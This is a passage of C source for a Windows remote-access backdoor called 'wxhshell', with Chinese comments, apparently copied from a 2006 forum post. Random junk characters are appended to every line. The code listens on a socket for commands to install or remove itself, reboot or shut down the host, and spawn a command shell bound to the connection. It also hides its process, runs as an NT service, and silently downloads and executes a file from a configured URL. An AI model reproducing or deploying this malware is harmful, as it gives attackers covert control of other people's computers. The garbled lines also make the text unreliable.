  case '?': { k0@b"y*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wZ&l6J4L  
    break; d) i:-#Q  
  } JDp"!x{O  
  // 安装 =tP%K*Il4  
  case 'i': { 7gX#^YkE+k  
    if(Install()) zSJSus  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | z 1  
    else zWN<"[agc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i?{cB!7  
    break; q9)]R  
    } zl a^j,  
  // 卸载 A_:CGtv:  
  case 'r': { ]0Y5 Z)3:z  
    if(Uninstall()) <D_UF1Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U ]o  
    else yYdow.b!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^S{vub  
    break; r]sN I[  
    } &nKb<o  
  // 显示 wxhshell 所在路径 `RF0%Vm~t  
  case 'p': { )#(6J  
    char svExeFile[MAX_PATH]; 4p}?QR>tZ  
    strcpy(svExeFile,"\n\r"); >8v4fk IK  
      strcat(svExeFile,ExeFile); pXoD*o b  
        send(wsh,svExeFile,strlen(svExeFile),0); |c<h& p  
    break; sGAOK%28  
    } 8zI*<RX.Q  
  // 重启 (aeS+d x  
  case 'b': { :637MD>5lO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S6<z2-y  
    if(Boot(REBOOT)) rf ?\s/#OY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^MXW,xqb  
    else { V*Q!J{lj^#  
    closesocket(wsh); ;4:[kv@  
    ExitThread(0); !l(O$T9 T  
    } qh]D=i  
    break; j;7:aM"BQW  
    } 'vP"& lrn  
  // 关机 }!`_Bz:  
  case 'd': { PxvD0GTW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jyz*W!kI  
    if(Boot(SHUTDOWN)) ~LfFLC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =$w QA  
    else { 2+oS'nL  
    closesocket(wsh); ]4X08Cm^  
    ExitThread(0); Q2)CbHSz  
    } .rcXxV@f  
    break; !q8"Q t  
    } nu6p{_M  
  // 获取shell ~_]i'ii8  
  case 's': { M669G;w(K  
    CmdShell(wsh); f;`7}7C  
    closesocket(wsh); Y(/y,bJ?jp  
    ExitThread(0);  r .`&z  
    break; U>-GM >  
  } W[G5+*i  
  // 退出 Y(<(!TJ-  
  case 'x': { 0hpU9w}12  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @TraEBJGL  
    CloseIt(wsh); )4;$;a1  
    break; .5E6 MF  
    } r}4   
  // 离开 ,{jF)NQaP  
  case 'q': { IQ $/|b/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5{|tE!  
    closesocket(wsh); >h9T/J8  
    WSACleanup(); 1Xkl.FcFw  
    exit(1); ,7n8_pU  
    break; i$g6C  
        } p;<aZ&@O  
  } b^'>XT~1J&  
  } =KW~k7TaN  
hbSXa'  
  // 提示信息 Yc-gJI*1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 87-z=>IU  
} 3| F\a|N  
  } vduh5.  
G<FB:?|  
  return; Rebo.6rG  
} e% #?B *  
ZRP[N)Ld$  
// shell模块句柄 C,) e7  
int CmdShell(SOCKET sock) `G<|5pe  
{ [N_)V kpr  
STARTUPINFO si; >f:OU,"  
ZeroMemory(&si,sizeof(si)); h%ba!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _}l7f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZJ%iiY  
PROCESS_INFORMATION ProcessInfo; 2!nz>K  
char cmdline[]="cmd"; Q[&CtM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iHk/#a  
  return 0; |!xqkmX  
} %T DY &@i=  
8S@"6TG`  
// 自身启动模式 '^`%  
int StartFromService(void) /MbWS(RT  
{ rds0EZ4W  
typedef struct o>y@1%aU  
{ G8@LH   
  DWORD ExitStatus; *|S{%z9>  
  DWORD PebBaseAddress; {KqERS& g  
  DWORD AffinityMask; MNH-SQB|  
  DWORD BasePriority; ;*>':-4  
  ULONG UniqueProcessId; 3|vZ `}  
  ULONG InheritedFromUniqueProcessId; 8C5*:x9l  
}   PROCESS_BASIC_INFORMATION; N3&n"w _d  
3 Bn9Ce=  
PROCNTQSIP NtQueryInformationProcess; ?dQ#%06mn  
wQrD(Dv(yA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U>a~V"5,u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X~rHNRIU  
ZWy,NN1  
  HANDLE             hProcess; @ iaz_;  
  PROCESS_BASIC_INFORMATION pbi; xj. )iegQ  
]3~X!(O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 86ml.VOR  
  if(NULL == hInst ) return 0; (lLCAmK 5?  
`E5vO1Pl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y9-}LET3j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b-)3MR:4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j?s+#t  
DTM xfQdk  
  if (!NtQueryInformationProcess) return 0; XO"BEj<x  
cB2jf</  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  F!&_  
  if(!hProcess) return 0; ZN-5W|' O  
V1\x.0Fs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~w}Zv0  
AGgL`sP  
  CloseHandle(hProcess); XFcIBWS  
a+p_47 xa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0?\d%J!"S  
if(hProcess==NULL) return 0; 9|&%"~6'  
o3xfif  
HMODULE hMod; 5wGc"JHm  
char procName[255]; = ms o1  
unsigned long cbNeeded; }Oh@`xTxt  
`|g*T~; kC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U\`H0'  
\:d|'r8OCM  
  CloseHandle(hProcess); F ][QH\N  
cT,5xp"a  
if(strstr(procName,"services")) return 1; // 以服务启动 qC$h~Epp4  
4@ =l'Fw  
  return 0; // 注册表启动 ` B71`  
} parc\]M  
F/zbb  
// 主模块 U0t~H{-H  
int StartWxhshell(LPSTR lpCmdLine) o 2sOf  
{ @&E{ L  
  SOCKET wsl; ~pj/_@S@x  
BOOL val=TRUE; Bi|XdS$G  
  int port=0; *O@uF4+!1  
  struct sockaddr_in door; ~LuR)T=%es  
iv]*HE  
  if(wscfg.ws_autoins) Install(); _'47yq^O  
; \N${YIn  
port=atoi(lpCmdLine); -jOCzp  
|UZhMF4/-L  
if(port<=0) port=wscfg.ws_port; #{u>  
h(VF  
  WSADATA data; fb||q-E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qC?\i['`  
$VLCD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   auP6\kpMe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yhi6RDS  
  door.sin_family = AF_INET; -U/m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xX]92Q  
  door.sin_port = htons(port); a;$'A[hq  
sTALOL<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { umD[4aP~;  
closesocket(wsl); zxt&oT0Q  
return 1; :Sj r  
} "L p"o  
*l-(tp5  
  if(listen(wsl,2) == INVALID_SOCKET) { $2j?Z.yEG  
closesocket(wsl); .g6DKjy>  
return 1; /6%<97/d  
}  Py)'%e  
  Wxhshell(wsl); ADa'(#+6  
  WSACleanup(); 0$9I.%4jAJ  
_(<D*V[  
return 0; =5-|H;da  
&sRjs  
} Dx-G0 KIG  
gZs UX^%  
// 以NT服务方式启动 Fq<;-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;uC +5g`  
{ aTceGyWzl  
DWORD   status = 0; NI^[7.2  
  DWORD   specificError = 0xfffffff; \5wC&|WEB  
LK^t ](F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lilKYrUmG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 96.A8o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J6H3X;vxQw  
  serviceStatus.dwWin32ExitCode     = 0; 79>8tOuo  
  serviceStatus.dwServiceSpecificExitCode = 0; ?V}AwLX}  
  serviceStatus.dwCheckPoint       = 0; T&2aNkuG  
  serviceStatus.dwWaitHint       = 0; F+`DfI]/m  
@a1+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jy]< q^J  
  if (hServiceStatusHandle==0) return; $z9z'^HqO  
(/c&#W  
status = GetLastError(); q1nGj  
  if (status!=NO_ERROR) aeESS;JxJj  
{ tVN#i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LW;UL}av  
    serviceStatus.dwCheckPoint       = 0; HgwL~vG  
    serviceStatus.dwWaitHint       = 0; Q-[^!RAK?  
    serviceStatus.dwWin32ExitCode     = status; *n)3y.s  
    serviceStatus.dwServiceSpecificExitCode = specificError; RoXU>a:nS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4:=eO!6  
    return; Sdc;jK 9d!  
  } UN&b]vg  
$ V"~\h8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =s P6  
  serviceStatus.dwCheckPoint       = 0; wR;_x x  
  serviceStatus.dwWaitHint       = 0; /hue]ZaQq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4"e7 43(  
} >9f-zv(n  
%aX<p{EY  
// 处理NT服务事件,比如:启动、停止 n_@YKz;8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w+cI0lj  
{ ;APpgt4  
switch(fdwControl) ;bd\XHwMUP  
{ P X](hc=  
case SERVICE_CONTROL_STOP: _Y*: l7  
  serviceStatus.dwWin32ExitCode = 0; _Gy*";E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Gn(b 1X  
  serviceStatus.dwCheckPoint   = 0; L4aT=of-  
  serviceStatus.dwWaitHint     = 0; l_LfVON  
  { >RxZ-.,a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); voaRh@DZ%/  
  } {M]m cRB(  
  return; Dyp'a  
case SERVICE_CONTROL_PAUSE: &^th KXEC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \z8TYx@  
  break; AKM\1H3U  
case SERVICE_CONTROL_CONTINUE: 9dw02bY`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &hs)}uM&$  
  break; 9VIsLk54^  
case SERVICE_CONTROL_INTERROGATE: t09,X  
  break; MQ"<r,o?:  
}; 3}$L4U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A0S6 4(  
} A]B D2   
W"|89\p}  
// 标准应用程序主函数 Zx5vIm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0;e>kz3o  
{ &&[j/d}J  
dvsOJj/b  
// 获取操作系统版本 sl%B-;@I  
OsIsNt=GetOsVer(); f&^K>Jt1@#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bM8b3, }?n  
pz?.(AmU\  
  // 从命令行安装 O" ['.b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,[+gE\z{{u  
kvSSz%R~  
  // 下载执行文件 fYx$3a.  
if(wscfg.ws_downexe) { " I`<s<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;wDcYs  
  WinExec(wscfg.ws_filenam,SW_HIDE); I2|iqbX40Q  
} s<z{(a  
{Ca#{LeLk  
if(!OsIsNt) { u&bo32fc  
// 如果时win9x,隐藏进程并且设置为注册表启动 E'Egc4Z2=l  
HideProc();  *;+lF  
StartWxhshell(lpCmdLine); j4H,*fc  
} v"_hWJ)  
else |/ZpZ7  
  if(StartFromService()) b)$<aFl  
  // 以服务方式启动 4<Bj;1*4  
  StartServiceCtrlDispatcher(DispatchTable); sEe^:aSN  
else 2}I1z_dq~  
  // 普通方式启动 v8 ggPI  
  StartWxhshell(lpCmdLine); wC<!,tB(8  
u Dm=W36  
return 0; )"A+T&  
}
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只看该作者 1 发表于: 2006-10-10
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